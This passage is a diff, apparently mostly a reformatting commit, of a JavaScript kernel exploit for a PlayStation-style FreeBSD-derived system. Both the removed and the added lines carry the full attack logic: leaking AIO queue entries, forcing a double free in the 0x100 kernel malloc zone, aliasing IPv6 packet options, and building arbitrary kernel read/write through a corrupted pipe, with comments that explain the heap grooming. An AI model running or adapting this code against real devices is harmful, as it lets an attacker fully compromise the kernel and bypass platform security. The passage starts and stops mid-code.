0; i < num_leaks; i++) { + get_rthdr(sd, buf); + + spray_aio(num_handles, leak_reqs_p, num_elems, leak_ids_p, true, AIO_CMD_WRITE); get_rthdr(sd, buf); - const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80); - log('leaked aio_entry:'); - hexdump(reqs2); - - const reqs1_addr = new Long(reqs2.read64(0x10)); - log(`reqs1_addr: ${reqs1_addr}`); - reqs1_addr.lo &= -0x100; - log(`reqs1_addr: ${reqs1_addr}`); - - log('searching target_id'); - let target_id = null; - let to_cancel_p = null; - let to_cancel_len = null; - for (let i = 0; i < leak_ids_len; i += num_elems) { - aio_multi_cancel(leak_ids_p.add(i << 2), num_elems); - - get_rthdr(sd, buf); - const state = buf.read32(reqs2_off + 0x38); - if (state === AIO_STATE_ABORTED) { - log(`found target_id at batch: ${i / num_elems}`); - - target_id = new Word(leak_ids[i]); - leak_ids[i] = 0; - log(`target_id: ${hex(target_id)}`); - - const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80); - log('leaked aio_entry:'); - hexdump(reqs2); - - const start = i + num_elems; - to_cancel_p = leak_ids.addr_at(start); - to_cancel_len = leak_ids_len - start; - break; - } - } - if (target_id === null) { - die('target_id not found'); + for (let off = 0x80; off < buf.length; off += 0x80) { + if (verify_reqs2(buf, off)) { + reqs2_off = off; + log(`found reqs2 at attempt: ${i}`); + break loop; + } } - cancel_aios(to_cancel_p, to_cancel_len); - free_aios2(leak_ids_p, leak_ids_len); + free_aios(leak_ids_p, leak_ids_len); + } + if (reqs2_off === null) { + die("could not leak a reqs2"); + } + log(`reqs2 offset: ${hex(reqs2_off)}`); - return [reqs1_addr, kbuf_addr, kernel_addr, target_id, evf]; + get_rthdr(sd, buf); + const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80); + log("leaked aio_entry:"); + hexdump(reqs2); + + const reqs1_addr = new Long(reqs2.read64(0x10)); + log(`reqs1_addr: ${reqs1_addr}`); + reqs1_addr.lo &= -0x100; + log(`reqs1_addr: ${reqs1_addr}`); + + log("searching target_id"); + let target_id = null; + let to_cancel_p = null; + let to_cancel_len = null; + for (let i = 0; i < leak_ids_len; i += num_elems) { + aio_multi_cancel(leak_ids_p.add(i << 2), num_elems); + + get_rthdr(sd, buf); + const state = buf.read32(reqs2_off + 0x38); + if (state === AIO_STATE_ABORTED) { + log(`found target_id at batch: ${i / num_elems}`); + + target_id = new Word(leak_ids[i]); + leak_ids[i] = 0; + log(`target_id: ${hex(target_id)}`); + + const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80); + log("leaked aio_entry:"); + hexdump(reqs2); + + const start = i + num_elems; + to_cancel_p = leak_ids.addr_at(start); + to_cancel_len = leak_ids_len - start; + break; + } + } + if (target_id === null) { + die("target_id not found"); + } + + cancel_aios(to_cancel_p, to_cancel_len); + free_aios2(leak_ids_p, leak_ids_len); + + return [reqs1_addr, kbuf_addr, kernel_addr, target_id, evf]; } // FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE function make_aliased_pktopts(sds) { - const tclass = new Word(); - for (let loop = 0; loop < num_alias; loop++) { - for (let i = 0; i < num_sds; i++) { - tclass[0] = i; - ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); - } - - for (let i = 0; i < sds.length; i++) { - gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); - const marker = tclass[0]; - if (marker !== i) { - log(`aliased pktopts at attempt: ${loop}`); - const pair = [sds[i], sds[marker]]; - log(`found pair: ${pair}`); - sds.splice(marker, 1); - sds.splice(i, 1); - // add pktopts to the new sockets now while new allocs can't - // use the double freed memory - for (let i = 0; i < 2; i++) { - const sd = new_socket(); - ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass); - sds.push(sd); - } - - return pair; - } - } - - for (let i = 0; i < num_sds; i++) { - setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); - } + const tclass = new Word(); + for (let loop = 0; loop < num_alias; loop++) { + for (let i = 0; i < num_sds; i++) { + tclass[0] = i; + ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); } - die('failed to make aliased pktopts'); + + for (let i = 0; i < sds.length; i++) { + gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); + const marker = tclass[0]; + if (marker !== i) { + log(`aliased pktopts at attempt: ${loop}`); + const pair = [sds[i], sds[marker]]; + log(`found pair: ${pair}`); + sds.splice(marker, 1); + sds.splice(i, 1); + // add pktopts to the new sockets now while new allocs can't + // use the double freed memory + for (let i = 0; i < 2; i++) { + const sd = new_socket(); + ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass); + sds.push(sd); + } + + return pair; + } + } + + for (let i = 0; i < num_sds; i++) { + setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); + } + } + die("failed to make aliased pktopts"); } -function double_free_reqs1( - reqs1_addr, kbuf_addr, target_id, evf, sd, sds, -) { - const max_leak_len = (0xff + 1) << 3; - const buf = new Buffer(max_leak_len); +function double_free_reqs1(reqs1_addr, kbuf_addr, target_id, evf, sd, sds) { + const max_leak_len = (0xff + 1) << 3; + const buf = new Buffer(max_leak_len); - const num_elems = max_aio_ids; - const aio_reqs = make_reqs1(num_elems); - const aio_reqs_p = aio_reqs.addr; + const num_elems = max_aio_ids; + const aio_reqs = make_reqs1(num_elems); + const aio_reqs_p = aio_reqs.addr; - const num_batches = 2; - const aio_ids_len = num_batches * num_elems; - const aio_ids = new View4(aio_ids_len); - const aio_ids_p = aio_ids.addr; + const num_batches = 2; + const aio_ids_len = num_batches * num_elems; + const aio_ids = new View4(aio_ids_len); + const aio_ids_p = aio_ids.addr; - log('start overwrite rthdr with AIO queue entry loop'); - let aio_not_found = true; - free_evf(evf); - for (let i = 0; i < num_clobbers; i++) { - spray_aio(num_batches, aio_reqs_p, num_elems, aio_ids_p); + log("start overwrite rthdr with AIO queue entry loop"); + let aio_not_found = true; + free_evf(evf); + for (let i = 0; i < num_clobbers; i++) { + spray_aio(num_batches, aio_reqs_p, num_elems, aio_ids_p); - if (get_rthdr(sd, buf) === 8 && buf.read32(0) === AIO_CMD_READ) { - log(`aliased at attempt: ${i}`); - aio_not_found = false; - cancel_aios(aio_ids_p, aio_ids_len); + if (get_rthdr(sd, buf) === 8 && buf.read32(0) === AIO_CMD_READ) { + log(`aliased at attempt: ${i}`); + aio_not_found = false; + cancel_aios(aio_ids_p, aio_ids_len); + break; + } + + free_aios(aio_ids_p, aio_ids_len); + } + if (aio_not_found) { + die("failed to overwrite rthdr"); + } + + const reqs2 = new Buffer(0x80); + const rsize = build_rthdr(reqs2, reqs2.size); + // .ar2_ticket + reqs2.write32(4, 5); + // .ar2_info + reqs2.write64(0x18, reqs1_addr); + // craft a aio_batch using the end portion of the buffer + const reqs3_off = 0x28; + // .ar2_batch + reqs2.write64(0x20, kbuf_addr.add(reqs3_off)); + + // [.ar3_num_reqs, .ar3_reqs_left] aliases .ar2_spinfo + // safe since free_queue_entry() doesn't deref the pointer + reqs2.write32(reqs3_off, 1); + reqs2.write32(reqs3_off + 4, 0); + // [.ar3_state, .ar3_done] aliases .ar2_result.returnValue + reqs2.write32(reqs3_off + 8, AIO_STATE_COMPLETE); + reqs2[reqs3_off + 0xc] = 0; + // .ar3_lock aliases .ar2_qentry (rest of the buffer is padding) + // safe since the entry already got dequeued + // + // .ar3_lock.lock_object.lo_flags = ( + // LO_SLEEPABLE | LO_UPGRADABLE + // | LO_RECURSABLE | LO_DUPOK | LO_WITNESS + // | 6 << LO_CLASSSHIFT + // | LO_INITIALIZED + // ) + reqs2.write32(reqs3_off + 0x28, 0x67b0000); + // .ar3_lock.lk_lock = LK_UNLOCKED + reqs2.write64(reqs3_off + 0x38, 1); + + const states = new View4(num_elems); + const states_p = states.addr; + const addr_cache = [aio_ids_p]; + for (let i = 1; i < num_batches; i++) { + addr_cache.push(aio_ids_p.add((i * num_elems) << 2)); + } + + log("start overwrite AIO queue entry with rthdr loop"); + let req_id = null; + close(sd); + sd = null; + loop: for (let i = 0; i < num_alias; i++) { + for (const sd of sds) { + set_rthdr(sd, reqs2, rsize); + } + + for (let batch = 0; batch < addr_cache.length; batch++) { + states.fill(-1); + aio_multi_cancel(addr_cache[batch], num_elems, states_p); + + const req_idx = states.indexOf(AIO_STATE_COMPLETE); + if (req_idx !== -1) { + log(`req_idx: ${req_idx}`); + log(`found req_id at batch: ${batch}`); + log(`states: ${[...states].map((e) => hex(e))}`); + log(`states[${req_idx}]: ${hex(states[req_idx])}`); + log(`aliased at attempt: ${i}`); + + const aio_idx = batch * num_elems + req_idx; + req_id = new Word(aio_ids[aio_idx]); + log(`req_id: ${hex(req_id)}`); + aio_ids[aio_idx] = 0; + + // set .ar3_done to 1 + poll_aio(req_id, states); + log(`states[${req_idx}]: ${hex(states[0])}`); + for (let i = 0; i < num_sds; i++) { + const sd2 = sds[i]; + get_rthdr(sd2, reqs2); + const done = reqs2[reqs3_off + 0xc]; + if (done) { + hexdump(reqs2); + sd = sd2; + sds.splice(i, 1); + free_rthdrs(sds); + sds.push(new_socket()); break; + } } + if (sd === null) { + die("can't find sd that overwrote AIO queue entry"); + } + log(`sd: ${sd}`); - free_aios(aio_ids_p, aio_ids_len); + break loop; + } } - if (aio_not_found) { - die('failed to overwrite rthdr'); + } + if (req_id === null) { + die("failed to overwrite AIO queue entry"); + } + free_aios2(aio_ids_p, aio_ids_len); + + // enable deletion of target_id + poll_aio(target_id, states); + log(`target's state: ${hex(states[0])}`); + + const sce_errs = new View4([-1, -1]); + const target_ids = new View4([req_id, target_id]); + // PANIC: double free on the 0x100 malloc zone. important kernel data may + // alias + aio_multi_delete(target_ids.addr, 2, sce_errs.addr); + + // we reclaim first since the sanity checking here is longer which makes it + // more likely that we have another process claim the memory + try { + // RESTORE: double freed memory has been reclaimed with harmless data + // PANIC: 0x100 malloc zone pointers aliased + const sd_pair = make_aliased_pktopts(sds); + return [sd_pair, sd]; + } finally { + log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`); + + states[0] = -1; + states[1] = -1; + poll_aio(target_ids, states); + log(`target states: ${hex(states[0])}, ${hex(states[1])}`); + + const SCE_KERNEL_ERROR_ESRCH = 0x80020003; + let success = true; + if (states[0] !== SCE_KERNEL_ERROR_ESRCH) { + log("ERROR: bad delete of corrupt AIO request"); + success = false; + } + if (sce_errs[0] !== 0 || sce_errs[0] !== sce_errs[1]) { + log("ERROR: bad delete of ID pair"); + success = false; } - const reqs2 = new Buffer(0x80); - const rsize = build_rthdr(reqs2, reqs2.size); - // .ar2_ticket - reqs2.write32(4, 5); - // .ar2_info - reqs2.write64(0x18, reqs1_addr); - // craft a aio_batch using the end portion of the buffer - const reqs3_off = 0x28; - // .ar2_batch - reqs2.write64(0x20, kbuf_addr.add(reqs3_off)); - - // [.ar3_num_reqs, .ar3_reqs_left] aliases .ar2_spinfo - // safe since free_queue_entry() doesn't deref the pointer - reqs2.write32(reqs3_off, 1); - reqs2.write32(reqs3_off + 4, 0); - // [.ar3_state, .ar3_done] aliases .ar2_result.returnValue - reqs2.write32(reqs3_off + 8, AIO_STATE_COMPLETE); - reqs2[reqs3_off + 0xc] = 0; - // .ar3_lock aliases .ar2_qentry (rest of the buffer is padding) - // safe since the entry already got dequeued - // - // .ar3_lock.lock_object.lo_flags = ( - // LO_SLEEPABLE | LO_UPGRADABLE - // | LO_RECURSABLE | LO_DUPOK | LO_WITNESS - // | 6 << LO_CLASSSHIFT - // | LO_INITIALIZED - // ) - reqs2.write32(reqs3_off + 0x28, 0x67b0000); - // .ar3_lock.lk_lock = LK_UNLOCKED - reqs2.write64(reqs3_off + 0x38, 1); - - const states = new View4(num_elems); - const states_p = states.addr; - const addr_cache = [aio_ids_p]; - for (let i = 1; i < num_batches; i++) { - addr_cache.push(aio_ids_p.add((i * num_elems) << 2)); - } - - log('start overwrite AIO queue entry with rthdr loop'); - let req_id = null; - close(sd); - sd = null; - loop: for (let i = 0; i < num_alias; i++) { - for (const sd of sds) { - set_rthdr(sd, reqs2, rsize); - } - - for (let batch = 0; batch < addr_cache.length; batch++) { - states.fill(-1); - aio_multi_cancel(addr_cache[batch], num_elems, states_p); - - const req_idx = states.indexOf(AIO_STATE_COMPLETE); - if (req_idx !== -1) { - log(`req_idx: ${req_idx}`); - log(`found req_id at batch: ${batch}`); - log(`states: ${[...states].map(e => hex(e))}`); - log(`states[${req_idx}]: ${hex(states[req_idx])}`); - log(`aliased at attempt: ${i}`); - - const aio_idx = batch*num_elems + req_idx; - req_id = new Word(aio_ids[aio_idx]); - log(`req_id: ${hex(req_id)}`); - aio_ids[aio_idx] = 0; - - // set .ar3_done to 1 - poll_aio(req_id, states); - log(`states[${req_idx}]: ${hex(states[0])}`); - for (let i = 0; i < num_sds; i++) { - const sd2 = sds[i]; - get_rthdr(sd2, reqs2); - const done = reqs2[reqs3_off + 0xc]; - if (done) { - hexdump(reqs2); - sd = sd2; - sds.splice(i, 1); - free_rthdrs(sds); - sds.push(new_socket()); - break; - } - } - if (sd === null) { - die('can\'t find sd that overwrote AIO queue entry'); - } - log(`sd: ${sd}`); - - break loop; - } - } - } - if (req_id === null) { - die('failed to overwrite AIO queue entry'); - } - free_aios2(aio_ids_p, aio_ids_len); - - // enable deletion of target_id - poll_aio(target_id, states); - log(`target's state: ${hex(states[0])}`); - - const sce_errs = new View4([-1, -1]); - const target_ids = new View4([req_id, target_id]); - // PANIC: double free on the 0x100 malloc zone. important kernel data may - // alias - aio_multi_delete(target_ids.addr, 2, sce_errs.addr); - - // we reclaim first since the sanity checking here is longer which makes it - // more likely that we have another process claim the memory - try { - // RESTORE: double freed memory has been reclaimed with harmless data - // PANIC: 0x100 malloc zone pointers aliased - const sd_pair = make_aliased_pktopts(sds); - return [sd_pair, sd]; - } finally { - log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`); - - states[0] = -1; - states[1] = -1; - poll_aio(target_ids, states); - log(`target states: ${hex(states[0])}, ${hex(states[1])}`); - - const SCE_KERNEL_ERROR_ESRCH = 0x80020003; - let success = true; - if (states[0] !== SCE_KERNEL_ERROR_ESRCH) { - log('ERROR: bad delete of corrupt AIO request'); - success = false; - } - if (sce_errs[0] !== 0 || sce_errs[0] !== sce_errs[1]) { - log('ERROR: bad delete of ID pair'); - success = false; - } - - if (!success) { - die('ERROR: double free on a 0x100 malloc zone failed'); - } + if (!success) { + die("ERROR: double free on a 0x100 malloc zone failed"); } + } } // FUNCTIONS FOR STAGE: MAKE ARBITRARY KERNEL READ/WRITE @@ -1193,310 +1155,300 @@ function double_free_reqs1( // dirty_sd is the socket whose rthdr pointer is corrupt // kernel_addr is the address of the "evf cv" string function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) { - const psd = pktopts_sds[0]; - const tclass = new Word(); - const off_tclass = is_ps4 ? 0xb0 : 0xc0; + const psd = pktopts_sds[0]; + const tclass = new Word(); + const off_tclass = is_ps4 ? 0xb0 : 0xc0; - const pktopts = new Buffer(0x100); - const rsize = build_rthdr(pktopts, pktopts.size); - const pktinfo_p = k100_addr.add(0x10); - // pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo - pktopts.write64(0x10, pktinfo_p); + const pktopts = new Buffer(0x100); + const rsize = build_rthdr(pktopts, pktopts.size); + const pktinfo_p = k100_addr.add(0x10); + // pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo + pktopts.write64(0x10, pktinfo_p); - log('overwrite main pktopts'); - let reclaim_sd = null; - close(pktopts_sds[1]); - for (let i = 0; i < num_alias; i++) { - for (let i = 0; i < num_sds; i++) { - // if a socket doesn't have a pktopts, setting the rthdr will make - // one. the new pktopts might reuse the memory instead of the - // rthdr. make sure the sockets already have a pktopts before - pktopts.write32(off_tclass, 0x4141 | i << 16); - set_rthdr(sds[i], pktopts, rsize); - } - - gsockopt(psd, IPPROTO_IPV6, IPV6_TCLASS, tclass); - const marker = tclass[0]; - if ((marker & 0xffff) === 0x4141) { - log(`found reclaim sd at attempt: ${i}`); - const idx = marker >>> 16; - reclaim_sd = sds[idx]; - sds.splice(idx, 1); - break; - } - } - if (reclaim_sd === null) { - die('failed to overwrite main pktopts'); + log("overwrite main pktopts"); + let reclaim_sd = null; + close(pktopts_sds[1]); + for (let i = 0; i < num_alias; i++) { + for (let i = 0; i < num_sds; i++) { + // if a socket doesn't have a pktopts, setting the rthdr will make + // one. the new pktopts might reuse the memory instead of the + // rthdr. make sure the sockets already have a pktopts before + pktopts.write32(off_tclass, 0x4141 | (i << 16)); + set_rthdr(sds[i], pktopts, rsize); } - const pktinfo = new Buffer(0x14); - pktinfo.write64(0, pktinfo_p); - const nhop = new Word(); - const nhop_p = nhop.addr; - const read_buf = new Buffer(8); - const read_buf_p = read_buf.addr; - function kread64(addr) { - const len = 8; - let offset = 0; - while (offset < len) { - // pktopts.ip6po_nhinfo = addr + offset - pktinfo.write64(8, addr.add(offset)); - nhop[0] = len - offset; + gsockopt(psd, IPPROTO_IPV6, IPV6_TCLASS, tclass); + const marker = tclass[0]; + if ((marker & 0xffff) === 0x4141) { + log(`found reclaim sd at attempt: ${i}`); + const idx = marker >>> 16; + reclaim_sd = sds[idx]; + sds.splice(idx, 1); + break; + } + } + if (reclaim_sd === null) { + die("failed to overwrite main pktopts"); + } - ssockopt(psd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); - sysi( - 'getsockopt', - psd, IPPROTO_IPV6, IPV6_NEXTHOP, - read_buf_p.add(offset), nhop_p, - ); + const pktinfo = new Buffer(0x14); + pktinfo.write64(0, pktinfo_p); + const nhop = new Word(); + const nhop_p = nhop.addr; + const read_buf = new Buffer(8); + const read_buf_p = read_buf.addr; + function kread64(addr) { + const len = 8; + let offset = 0; + while (offset < len) { + // pktopts.ip6po_nhinfo = addr + offset + pktinfo.write64(8, addr.add(offset)); + nhop[0] = len - offset; - const n = nhop[0]; - if (n === 0) { - read_buf[offset] = 0; - offset += 1; - } else { - offset += n; - } - } - return read_buf.read64(0); + ssockopt(psd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); + sysi("getsockopt", psd, IPPROTO_IPV6, IPV6_NEXTHOP, read_buf_p.add(offset), nhop_p); + + const n = nhop[0]; + if (n === 0) { + read_buf[offset] = 0; + offset += 1; + } else { + offset += n; + } + } + return read_buf.read64(0); + } + + log(`kread64(&"evf cv"): ${kread64(kernel_addr)}`); + const kstr = jstr(read_buf); + log(`*(&"evf cv"): ${kstr}`); + if (kstr !== "evf cv") { + die('test read of &"evf cv" failed'); + } + + const kbase = kernel_addr.sub(off_kstr); + log(`kernel base: ${kbase}`); + + log("\nmaking arbitrary kernel read/write"); + const cpuid = 7 - main_core; + const pcpu_p = kbase.add(off_cpuid_to_pcpu + cpuid * 8); + log(`cpuid_to_pcpu[${cpuid}]: ${pcpu_p}`); + const pcpu = kread64(pcpu_p); + log(`pcpu: ${pcpu}`); + log(`cpuid: ${kread64(pcpu.add(0x30)).hi}`); + // __pcpu[cpuid].pc_curthread + const td = kread64(pcpu); + log(`td: ${td}`); + + const off_td_proc = 8; + const proc = kread64(td.add(off_td_proc)); + log(`proc: ${proc}`); + const pid = sysi("getpid"); + log(`our pid: ${pid}`); + const pid2 = kread64(proc.add(0xb0)).lo; + log(`suspected proc pid: ${pid2}`); + if (pid2 !== pid) { + die("process not found"); + } + + const off_p_fd = 0x48; + const p_fd = kread64(proc.add(off_p_fd)); + log(`proc.p_fd: ${p_fd}`); + // curthread->td_proc->p_fd->fd_ofiles + const ofiles = kread64(p_fd); + log(`ofiles: ${ofiles}`); + + const off_p_ucred = 0x40; + const p_ucred = kread64(proc.add(off_p_ucred)); + log(`p_ucred ${p_ucred}`); + + const pipes = new View4(2); + sysi("pipe", pipes.addr); + const pipe_file = kread64(ofiles.add(pipes[0] * 8)); + log(`pipe file: ${pipe_file}`); + // ofiles[pipe_fd].f_data + const kpipe = kread64(pipe_file); + log(`pipe pointer: ${kpipe}`); + + const pipe_save = new Buffer(0x18); // sizeof struct pipebuf + for (let off = 0; off < pipe_save.size; off += 8) { + pipe_save.write64(off, kread64(kpipe.add(off))); + } + + const main_sd = psd; + const worker_sd = dirty_sd; + + const main_file = kread64(ofiles.add(main_sd * 8)); + log(`main sock file: ${main_file}`); + // ofiles[sd].f_data + const main_sock = kread64(main_file); + log(`main sock pointer: ${main_sock}`); + // socket.so_pcb (struct inpcb *) + const m_pcb = kread64(main_sock.add(0x18)); + log(`main sock pcb: ${m_pcb}`); + // inpcb.in6p_outputopts + const m_pktopts = kread64(m_pcb.add(0x118)); + log(`main pktopts: ${m_pktopts}`); + log(`0x100 malloc zone pointer: ${k100_addr}`); + + if (m_pktopts.ne(k100_addr)) { + die("main pktopts pointer != leaked pktopts pointer"); + } + + // ofiles[sd].f_data + const reclaim_sock = kread64(kread64(ofiles.add(reclaim_sd * 8))); + log(`reclaim sock pointer: ${reclaim_sock}`); + // socket.so_pcb (struct inpcb *) + const r_pcb = kread64(reclaim_sock.add(0x18)); + log(`reclaim sock pcb: ${r_pcb}`); + // inpcb.in6p_outputopts + const r_pktopts = kread64(r_pcb.add(0x118)); + log(`reclaim pktopts: ${r_pktopts}`); + + // ofiles[sd].f_data + const worker_sock = kread64(kread64(ofiles.add(worker_sd * 8))); + log(`worker sock pointer: ${worker_sock}`); + // socket.so_pcb (struct inpcb *) + const w_pcb = kread64(worker_sock.add(0x18)); + log(`worker sock pcb: ${w_pcb}`); + // inpcb.in6p_outputopts + const w_pktopts = kread64(w_pcb.add(0x118)); + log(`worker pktopts: ${w_pktopts}`); + + // get restricted read/write with pktopts pair + // main_pktopts.ip6po_pktinfo = &worker_pktopts.ip6po_pktinfo + const w_pktinfo = w_pktopts.add(0x10); + pktinfo.write64(0, w_pktinfo); + pktinfo.write64(8, 0); // clear .ip6po_nexthop + ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); + + pktinfo.write64(0, kernel_addr); + ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); + gsockopt(worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); + const kstr2 = jstr(pktinfo); + log(`*(&"evf cv"): ${kstr2}`); + if (kstr2 !== "evf cv") { + die("pktopts read failed"); + } + log("achieved restricted kernel read/write"); + + // in6_pktinfo.ipi6_ifindex must be 0 (or a valid interface index) when + // using pktopts write. we can safely modify a pipe even with this limit so + // we corrupt that instead for arbitrary read/write. pipe.pipe_map will be + // clobbered with zeros but that's okay + class KernelMemory { + constructor(main_sd, worker_sd, pipes, pipe_addr) { + this.main_sd = main_sd; + this.worker_sd = worker_sd; + this.rpipe = pipes[0]; + this.wpipe = pipes[1]; + this.pipe_addr = pipe_addr; // &pipe.pipe_buf + this.pipe_addr2 = pipe_addr.add(0x10); // &pipe.pipe_buf.buffer + this.rw_buf = new Buffer(0x14); + this.addr_buf = new Buffer(0x14); + this.data_buf = new Buffer(0x14); + this.data_buf.write32(0xc, 0x40000000); } - log(`kread64(&"evf cv"): ${kread64(kernel_addr)}`); - const kstr = jstr(read_buf); - log(`*(&"evf cv"): ${kstr}`); - if (kstr !== 'evf cv') { - die('test read of &"evf cv" failed'); + _verify_len(len) { + if (!(Number.isInteger(len) && 0 <= len <= 0xffffffff)) { + throw TypeError("len not a 32-bit unsigned integer"); + } } - const kbase = kernel_addr.sub(off_kstr); - log(`kernel base: ${kbase}`); + copyin(src, dst, len) { + this._verify_len(len); + const main = this.main_sd; + const worker = this.worker_sd; + const addr_buf = this.addr_buf; + const data_buf = this.data_buf; - log('\nmaking arbitrary kernel read/write'); - const cpuid = 7 - main_core; - const pcpu_p = kbase.add(off_cpuid_to_pcpu + cpuid*8); - log(`cpuid_to_pcpu[${cpuid}]: ${pcpu_p}`); - const pcpu = kread64(pcpu_p); - log(`pcpu: ${pcpu}`); - log(`cpuid: ${kread64(pcpu.add(0x30)).hi}`); - // __pcpu[cpuid].pc_curthread - const td = kread64(pcpu); - log(`td: ${td}`); + addr_buf.write64(0, this.pipe_addr); + ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); - const off_td_proc = 8; - const proc = kread64(td.add(off_td_proc)); - log(`proc: ${proc}`); - const pid = sysi('getpid'); - log(`our pid: ${pid}`); - const pid2 = kread64(proc.add(0xb0)).lo; - log(`suspected proc pid: ${pid2}`); - if (pid2 !== pid) { - die('process not found'); + data_buf.write64(0, 0); + ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf); + + addr_buf.write64(0, this.pipe_addr2); + ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); + + addr_buf.write64(0, dst); + ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); + + sysi("write", this.wpipe, src, len); } - const off_p_fd = 0x48; - const p_fd = kread64(proc.add(off_p_fd)); - log(`proc.p_fd: ${p_fd}`); - // curthread->td_proc->p_fd->fd_ofiles - const ofiles = kread64(p_fd); - log(`ofiles: ${ofiles}`); + copyout(src, dst, len) { + this._verify_len(len); + const main = this.main_sd; + const worker = this.worker_sd; + const addr_buf = this.addr_buf; + const data_buf = this.data_buf; - const off_p_ucred = 0x40; - const p_ucred = kread64(proc.add(off_p_ucred)); - log(`p_ucred ${p_ucred}`); + addr_buf.write64(0, this.pipe_addr); + ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); - const pipes = new View4(2); - sysi('pipe', pipes.addr); - const pipe_file = kread64(ofiles.add(pipes[0] * 8)); - log(`pipe file: ${pipe_file}`); - // ofiles[pipe_fd].f_data - const kpipe = kread64(pipe_file); - log(`pipe pointer: ${kpipe}`); + data_buf.write32(0, 0x40000000); + ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf); - const pipe_save = new Buffer(0x18); // sizeof struct pipebuf - for (let off = 0; off < pipe_save.size; off += 8) { - pipe_save.write64(off, kread64(kpipe.add(off))); + addr_buf.write64(0, this.pipe_addr2); + ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); + + addr_buf.write64(0, src); + ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); + + sysi("read", this.rpipe, dst, len); } - const main_sd = psd; - const worker_sd = dirty_sd; - - const main_file = kread64(ofiles.add(main_sd * 8)); - log(`main sock file: ${main_file}`); - // ofiles[sd].f_data - const main_sock = kread64(main_file); - log(`main sock pointer: ${main_sock}`); - // socket.so_pcb (struct inpcb *) - const m_pcb = kread64(main_sock.add(0x18)); - log(`main sock pcb: ${m_pcb}`); - // inpcb.in6p_outputopts - const m_pktopts = kread64(m_pcb.add(0x118)); - log(`main pktopts: ${m_pktopts}`); - log(`0x100 malloc zone pointer: ${k100_addr}`); - - if (m_pktopts.ne(k100_addr)) { - die('main pktopts pointer != leaked pktopts pointer'); + _read(addr) { + const buf = this.rw_buf; + buf.write64(0, addr); + buf.fill(0, 8); + ssockopt(this.main_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf); + gsockopt(this.worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf); } - // ofiles[sd].f_data - const reclaim_sock = kread64(kread64(ofiles.add(reclaim_sd * 8))); - log(`reclaim sock pointer: ${reclaim_sock}`); - // socket.so_pcb (struct inpcb *) - const r_pcb = kread64(reclaim_sock.add(0x18)); - log(`reclaim sock pcb: ${r_pcb}`); - // inpcb.in6p_outputopts - const r_pktopts = kread64(r_pcb.add(0x118)); - log(`reclaim pktopts: ${r_pktopts}`); - - // ofiles[sd].f_data - const worker_sock = kread64(kread64(ofiles.add(worker_sd * 8))); - log(`worker sock pointer: ${worker_sock}`); - // socket.so_pcb (struct inpcb *) - const w_pcb = kread64(worker_sock.add(0x18)); - log(`worker sock pcb: ${w_pcb}`); - // inpcb.in6p_outputopts - const w_pktopts = kread64(w_pcb.add(0x118)); - log(`worker pktopts: ${w_pktopts}`); - - // get restricted read/write with pktopts pair - // main_pktopts.ip6po_pktinfo = &worker_pktopts.ip6po_pktinfo - const w_pktinfo = w_pktopts.add(0x10); - pktinfo.write64(0, w_pktinfo); - pktinfo.write64(8, 0); // clear .ip6po_nexthop - ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); - - pktinfo.write64(0, kernel_addr); - ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); - gsockopt(worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); - const kstr2 = jstr(pktinfo); - log(`*(&"evf cv"): ${kstr2}`); - if (kstr2 !== 'evf cv') { - die('pktopts read failed'); + read32(addr) { + this._read(addr); + return this.rw_buf.read32(0); } - log('achieved restricted kernel read/write'); - // in6_pktinfo.ipi6_ifindex must be 0 (or a valid interface index) when - // using pktopts write. we can safely modify a pipe even with this limit so - // we corrupt that instead for arbitrary read/write. pipe.pipe_map will be - // clobbered with zeros but that's okay - class KernelMemory { - constructor(main_sd, worker_sd, pipes, pipe_addr) { - this.main_sd = main_sd; - this.worker_sd = worker_sd; - this.rpipe = pipes[0]; - this.wpipe = pipes[1]; - this.pipe_addr = pipe_addr; // &pipe.pipe_buf - this.pipe_addr2 = pipe_addr.add(0x10); // &pipe.pipe_buf.buffer - this.rw_buf = new Buffer(0x14); - this.addr_buf = new Buffer(0x14); - this.data_buf = new Buffer(0x14); - this.data_buf.write32(0xc, 0x40000000); - } - - _verify_len(len) { - if (!(Number.isInteger(len) && (0 <= len <= 0xffffffff))) { - throw TypeError('len not a 32-bit unsigned integer'); - } - } - - copyin(src, dst, len) { - this._verify_len(len); - const main = this.main_sd; - const worker = 